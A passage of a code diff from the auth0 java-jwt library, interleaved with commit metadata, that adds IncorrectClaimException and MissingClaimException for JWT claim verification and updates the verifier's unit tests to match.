+        private boolean assertValidInstantClaim(String claimName, Claim claim, long leeway, boolean shouldBeFuture) {
+            Instant claimVal = claim.asInstant();
             Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
+            boolean isValid;
             if (shouldBeFuture) {
-                return assertInstantIsFuture(claimVal, leeway, now);
+                isValid = assertInstantIsFuture(claimVal, leeway, now);
+                if (!isValid) {
+                    throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal), claimVal);
+                }
             } else {
-                return assertInstantIsPast(claimVal, leeway, now);
+                isValid = assertInstantIsPast(claimVal, leeway, now);
+                if (!isValid) {
+                    throw new IncorrectClaimException(
+                            String.format("The Token can't be used before %s.", claimVal), claimName, claim);
+                }
             }
+            return true;
         }
 
         private boolean assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
-            if (claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal)) {
-                throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal));
-            }
-            return true;
+            return !(claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal));
         }
 
         private boolean assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
-            if (claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal)) {
-                throw new InvalidClaimException(String.format("The Token can't be used before %s.", claimVal));
-            }
-            return true;
+            return !(claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal));
         }
 
-        private boolean assertValidAudienceClaim(List<String> audience, List<String> values, boolean shouldContainAll) {
+        private boolean assertValidAudienceClaim(
+                Claim claim,
+                List<String> audience,
+                List<String> values,
+                boolean shouldContainAll
+        ) {
             if (audience == null || (shouldContainAll && !audience.containsAll(values))
                     || (!shouldContainAll && Collections.disjoint(audience, values))) {
-                throw new InvalidClaimException("The Claim 'aud' value doesn't contain the required audience.");
+                throw new IncorrectClaimException(
+                        "The Claim 'aud' value doesn't contain the required audience.", PublicClaims.AUDIENCE, claim);
+            }
+            return true;
+        }
+
+        private boolean assertClaimPresence(String name, Claim claim) {
+            if (claim.isMissing()) {
+                throw new MissingClaimException(name);
             }
             return true;
         }
@@ -353,7 +366,8 @@ private void checkIfNeedToRemove(String name, Object value, BiPredicate<Claim, D
                 expectedChecks.remove(name);
                 return;
             }
-            expectedChecks.put(name, predicate);
+            expectedChecks.put(name, (claim, decodedJWT) -> assertClaimPresence(name, claim)
+                    && predicate.test(claim, decodedJWT));
         }
 
         private boolean isNullOrEmpty(String[] args) {
@@ -381,7 +395,8 @@ private boolean isNullOrEmpty(String[] args) {
      *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
-     * @throws InvalidClaimException          if a claim contained a different value than the expected one.
+     * @throws MissingClaimException          if a claim to be verified is missing.
+     * @throws IncorrectClaimException        if a claim contained a different value than the expected one.
      */
     @Override
     public DecodedJWT verify(String token) throws JWTVerificationException {
@@ -398,7 +413,8 @@ public DecodedJWT verify(String token) throws JWTVerificationException {
      *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
-     * @throws InvalidClaimException          if a claim contained a different value than the expected one.
+     * @throws MissingClaimException          if a claim to be verified is missing.
+     * @throws IncorrectClaimException        if a claim contained a different value than the expected one.
      */
     @Override
     public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
@@ -426,8 +442,11 @@ private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, Decoded
             isValid = expectedCheck.test(claim, jwt);
 
             if (!isValid) {
-                throw new InvalidClaimException(
-                        String.format("The Claim '%s' value doesn't match the required one.", claimName));
+                throw new IncorrectClaimException(
+                        String.format("The Claim '%s' value doesn't match the required one.", claimName),
+                        claimName,
+                        claim
+                );
             }
         }
     }u}(j  (712e937bd61cfd05e921306fc603a72d4ddffd92j  Glib/src/main/java/com/auth0/jwt/exceptions/IncorrectClaimException.javaj  addedj  K,j  K j  K,j  https://github.com/auth0/java-jwt/blob/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.javaj  https://github.com/auth0/java-jwt/raw/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.javaj   https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.java?ref=67df3d476024cbe697b3a54893f5383945c7670dj  X  @@ -0,0 +1,44 @@
+package com.auth0.jwt.exceptions;
+
+import com.auth0.jwt.interfaces.Claim;
+
+/**
+ * This exception is thrown when the expected value is not found while verifying the Claims.
+ */
+public class IncorrectClaimException extends InvalidClaimException {
+    private final String claimName;
+
+    private final Claim claimValue;
+
+    /**
+     * Used internally to construct the IncorrectClaimException which is thrown when there is verification
+     * failure for a Claim that exists.
+     *
+     * @param message The error message
+     * @param claimName The Claim name for which verification failed
+     * @param claim The Claim value for which verification failed
+     */
+    public IncorrectClaimException(String message, String claimName, Claim claim) {
+        super(message);
+        this.claimName = claimName;
+        this.claimValue = claim;
+    }
+
+    /**
+     * This method can be used to fetch the name for which the Claim verification failed.
+     *
+     * @return The claim name for which the verification failed.
+     */
+    public String getClaimName() {
+        return claimName;
+    }
+
+    /**
+     * This method can be used to fetch the value for which the Claim verification failed.
+     *
+     * @return The value for which the verification failed
+     */
+    public Claim getClaimValue() {
+        return claimValue;
+    }
+}
\ No newline at end of fileu}(j  (c5b8eb64a583f7949de874125c5742653f2ba96bj  Elib/src/main/java/com/auth0/jwt/exceptions/InvalidClaimException.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javaj  https://github.com/auth0/java-jwt/raw/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javaj   https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.java?ref=67df3d476024cbe697b3a54893f5383945c7670dj  @@ -7,4 +7,4 @@ public class InvalidClaimException extends JWTVerificationException {
     public InvalidClaimException(String message) {
         super(message);
     }
-}
+}
\ No newline at end of fileu}(j  (3bcc21216ea75527e88e129bde82df58286f0173j  Elib/src/main/java/com/auth0/jwt/exceptions/MissingClaimException.javaj  addedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FMissingClaimException.javaj  https://github.com/auth0/java-jwt/raw/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FMissingClaimException.javaj   https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FMissingClaimException.java?ref=67df3d476024cbe697b3a54893f5383945c7670dj  X  @@ -0,0 +1,23 @@
+package com.auth0.jwt.exceptions;
+
+/**
+ * This exception is thrown when the claim to be verified is missing.
+ */
+public class MissingClaimException extends InvalidClaimException {
+
+    private final String claimName;
+
+    public MissingClaimException(String claimName) {
+        super(String.format("The Claim '%s' is not present in the JWT.", claimName));
+        this.claimName = claimName;
+    }
+
+    /**
+     * This method can be used to fetch the name for which the Claim is missing during the verification.
+     *
+     * @return The name of the Claim that doesn't exist.
+     */
+    public String getClaimName() {
+        return claimName;
+    }
+}u}(j  (42ab090d4c0020ee15245679f0001bf48ae13246j  Elib/src/main/java/com/auth0/jwt/exceptions/TokenExpiredException.javaj  modifiedj  K
j  Kj  Kj  https://github.com/auth0/java-jwt/blob/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javaj  https://github.com/auth0/java-jwt/raw/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javaj   https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.java?ref=67df3d476024cbe697b3a54893f5383945c7670dj  X_  @@ -1,13 +1,22 @@
 package com.auth0.jwt.exceptions;
 
+import java.time.Instant;
+
 /**
  * The exception that is thrown if the token is expired.
  */
 public class TokenExpiredException extends JWTVerificationException {
 
     private static final long serialVersionUID = -7076928975713577708L;
 
-    public TokenExpiredException(String message) {
+    private final Instant expiredOn;
+
+    public TokenExpiredException(String message, Instant expiredOn) {
         super(message);
+        this.expiredOn = expiredOn;
+    }
+
+    public Instant getExpiredOn() {
+        return expiredOn;
     }
 }u}(j  (456d1515e6c911b9bd54f8e8fc4025ca53b5124ej  7lib/src/main/java/com/auth0/jwt/impl/JsonNodeClaim.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://github.com/auth0/java-jwt/raw/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj   https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.java?ref=67df3d476024cbe697b3a54893f5383945c7670dj  X0  @@ -177,5 +177,4 @@ static Claim claimFromNode(JsonNode node, ObjectReader objectReader) {
         return new JsonNodeClaim(node, objectReader);
     }
 
-}
-//todo test all as* methods in JsonNodeClaim to ensure isMissing isNull calls are made
\ No newline at end of file
+}
\ No newline at end of fileu}(j  (1cf79c8f3f6bb77efca297b5d2a3465b52e407b3j  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj  modifiedj  Kzj  K%j  Kj  https://github.com/auth0/java-jwt/blob/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://github.com/auth0/java-jwt/raw/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj   https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=67df3d476024cbe697b3a54893f5383945c7670dj  XP  @@ -1,9 +1,7 @@
 package com.auth0.jwt;
 
 import com.auth0.jwt.algorithms.Algorithm;
-import com.auth0.jwt.exceptions.AlgorithmMismatchException;
-import com.auth0.jwt.exceptions.InvalidClaimException;
-import com.auth0.jwt.exceptions.TokenExpiredException;
+import com.auth0.jwt.exceptions.*;
 import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
@@ -16,13 +14,14 @@
 import java.time.Duration;
 import java.time.Instant;
 import java.time.ZoneId;
+import java.util.Arrays;
 import java.util.Collections;
 import java.util.Date;
 import java.util.function.BiPredicate;
 
+import static com.auth0.jwt.matchers.CustomMatchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
-import static org.mockito.ArgumentMatchers.isNotNull;
 import static org.mockito.Mockito.mock;
 
 public class JWTVerifierTest {
@@ -74,8 +73,11 @@ public void shouldValidateMultipleIssuers() {
 
     @Test
     public void shouldThrowOnInvalidIssuer() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
+        exception.expect(hasClaimName(PublicClaims.ISSUER));
+        exception.expect(hasClaimValue("auth0", String.class));
+
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withIssuer("invalid")
@@ -85,16 +87,33 @@ public void shouldThrowOnInvalidIssuer() {
 
     @Test
     public void shouldThrowOnNullIssuer() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
+        exception.expect(hasClaimName(PublicClaims.ISSUER));
+        exception.expect(hasNullClaim());
 
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30.t-IDcSemACt8x4iTMCda8Yhe3iZaWbvV5XKSTbuAn0M";
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOm51bGx9.OoiCLipSfflWxkFX2rytvtwEiJ8eAL0opkdXY_ap0qA";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withIssuer("auth0")
                 .build()
                 .verify(token);
     }
 
+    @Test
+    public void shouldThrowOnMissingIssuer() {
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'iss' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("iss"));
+
+        String jwt = JWTCreator.init()
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withIssuer("nope")
+                .build()
+                .verify(jwt);
+    }
+
     @Test
     public void shouldValidateSubject() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
@@ -108,8 +127,11 @@ public void shouldValidateSubject() {
 
     @Test
     public void shouldThrowOnInvalidSubject() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'sub' value doesn't match the required one.");
+        exception.expect(hasClaimName(PublicClaims.SUBJECT));
+        exception.expect(hasClaimValue("1234567890", String.class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withSubject("invalid")
@@ -153,7 +175,7 @@ public void shouldAllowWithAnyOfAudienceVerificationToOverrideWithAudience() {
         }
 
         assertThat(exception, is(notNullValue()));
-        assertThat(exception, is(instanceOf(InvalidClaimException.class)));
+        assertThat(exception, is(instanceOf(IncorrectClaimException.class)));
         assertThat(exception.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
 
         DecodedJWT jwt = verification.withAnyOfAudience("Mark", "Jim").build().verify(token);
@@ -175,7 +197,7 @@ public void shouldAllowWithAudienceVerificationToOverrideWithAnyOfAudience() {
         }
 
         assertThat(exception, is(notNullValue()));
-        assertThat(exception, is(instanceOf(InvalidClaimException.class)));
+        assertThat(exception, is(instanceOf(IncorrectClaimException.class)));
         assertThat(exception.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
 
         DecodedJWT jwt = verification.withAudience("Mark").build().verify(token);
@@ -208,8 +230,10 @@ public void shouldAcceptAudienceWhenAnyOfAudienceAndAllContained() {
 
     @Test
     public void shouldThrowWhenAudienceHasNoneOfExpectedAnyOfAudience() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
+        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
+        exception.expect(hasClaimValueArray(new String[] {"Mark","David","John"}, String[].class));
 
         // Token 'aud' = ["Mark", "David", "John"]
         String tokenArr = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
@@ -221,8 +245,10 @@ public void shouldThrowWhenAudienceHasNoneOfExpectedAnyOfAudience() {
 
     @Test
     public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
+        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
+        exception.expect(hasClaimValueArray(new String[] {"Mark","David","John"}, String[].class));
 
         // Token 'aud' = ["Mark", "David", "John"]
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
@@ -234,11 +260,27 @@ public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() {
 
     @Test
     public void shouldThrowWhenAudienceClaimIsNull() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
+        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
+        exception.expect(hasNullClaim());
 
         // Token 'aud': null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpudWxsfQ.bpPyquk3b8KepErKgTidjJ1ZwiOGuoTxam2_x7cElKI";
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withAudience("nope")
+                .build()
+                .verify(token);
+    }
+
+    @Test
+    public void shouldThrowWhenAudienceClaimIsMissing(){
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'aud' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("aud"));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
+
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withAudience("nope")
                 .build()
@@ -247,11 +289,13 @@ public void shouldThrowWhenAudienceClaimIsNull() {
 
     @Test
     public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
+        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
+        exception.expect(hasClaimValueArray(new String[] {null}, String[].class));
 
-        // Token 'aud': null
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
+        // Token 'aud': [null]
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpbbnVsbF19.2cBf7FbkX52h8Vmjnl1DY1PYe_J_YP0KsyeoeYmuca8";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withAnyOfAudience("nope")
                 .build()
@@ -340,8 +384,10 @@ public void shouldThrowOnNullCustomClaimName() {
 
     @Test
     public void shouldThrowWhenExpectedArrayClaimIsMissing() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'missing' value doesn't match the required one.");
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'missing' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("missing"));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhcnJheSI6WzEsMiwzXX0.wKNFBcMdwIpdF9rXRxvexrzSM6umgSFqRO1WZj992YM";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("missing", 1, 2, 3)
@@ -351,8 +397,10 @@ public void shouldThrowWhenExpectedArrayClaimIsMissing() {
 
     @Test
     public void shouldThrowWhenExpectedClaimIsMissing() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'missing' value doesn't match the required one.");
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'missing' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("missing"));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGFpbSI6InRleHQifQ.aZ27Ze35VvTqxpaSIK5ZcnYHr4SrvANlUbDR8fw9qsQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("missing", "text")
@@ -362,8 +410,11 @@ public void shouldThrowWhenExpectedClaimIsMissing() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeString() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", "value")
@@ -373,8 +424,11 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeString() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 123)
@@ -384,8 +438,11 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 23.45)
@@ -395,8 +452,11 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", true)
@@ -407,8 +467,11 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", new Date())
@@ -418,8 +481,11 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValue() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", "check")
@@ -670,6 +736,7 @@ public void shouldValidateExpiresAtIfPresent() {
     public void shouldThrowOnInvalidExpiresAtIfPresent() {
         exception.expect(TokenExpiredException.class);
         exception.expectMessage(startsWith("The Token has expired on"));
+        exception.expect(hasTokenExpiredOn(Instant.ofEpochSecond(1477592L)));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
@@ -702,8 +769,10 @@ public void shouldValidateNotBeforeWithLeeway() {
 
     @Test
     public void shouldThrowOnInvalidNotBeforeIfPresent() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage(startsWith("The Token can't be used before"));
+        exception.expect(IncorrectClaimException.class);
+        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
+        exception.expect(hasClaimName(PublicClaims.NOT_BEFORE));
+        exception.expect(hasClaimValue(1477592L, Long.class));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
@@ -733,8 +802,13 @@ public void shouldThrowOnNegativeNotBeforeLeeway() {
     }
 
     // Issued At with future date
-    @Test(expected = InvalidClaimException.class)
+    @Test
     public void shouldThrowOnFutureIssuedAt() {
+        exception.expect(IncorrectClaimException.class);
+        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
+        exception.expect(hasClaimName(PublicClaims.ISSUED_AT));
+        exception.expect(hasClaimValue(1477592L, Long.class));
+
         String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
 
@@ -755,8 +829,10 @@ public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() {
 
     @Test
     public void shouldThrowOnInvalidIssuedAtIfPresent() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage(startsWith("The Token can't be used before"));
+        exception.expect(IncorrectClaimException.class);
+        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
+        exception.expect(hasClaimName(PublicClaims.ISSUED_AT));
+        exception.expect(hasClaimValue(1477592L, Long.class));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
@@ -811,8 +887,11 @@ public void shouldValidateJWTId() {
 
     @Test
     public void shouldThrowOnInvalidJWTId() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'jti' value doesn't match the required one.");
+        exception.expect(hasClaimName("jti"));
+        exception.expect(hasClaimValue("jwt_id_123", String.class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJqd3RfaWRfMTIzIn0.0kegfXUvwOYioP8PDaLMY1IlV8HOAzSVz3EGL7-jWF4";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withJWTId("invalid")
@@ -884,8 +963,9 @@ public void shouldSkipClaimValidationsIfNoClaimsRequired() {
 
     @Test
     public void shouldThrowWhenVerifyingClaimPresenceButClaimNotPresent() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(MissingClaimException.class);
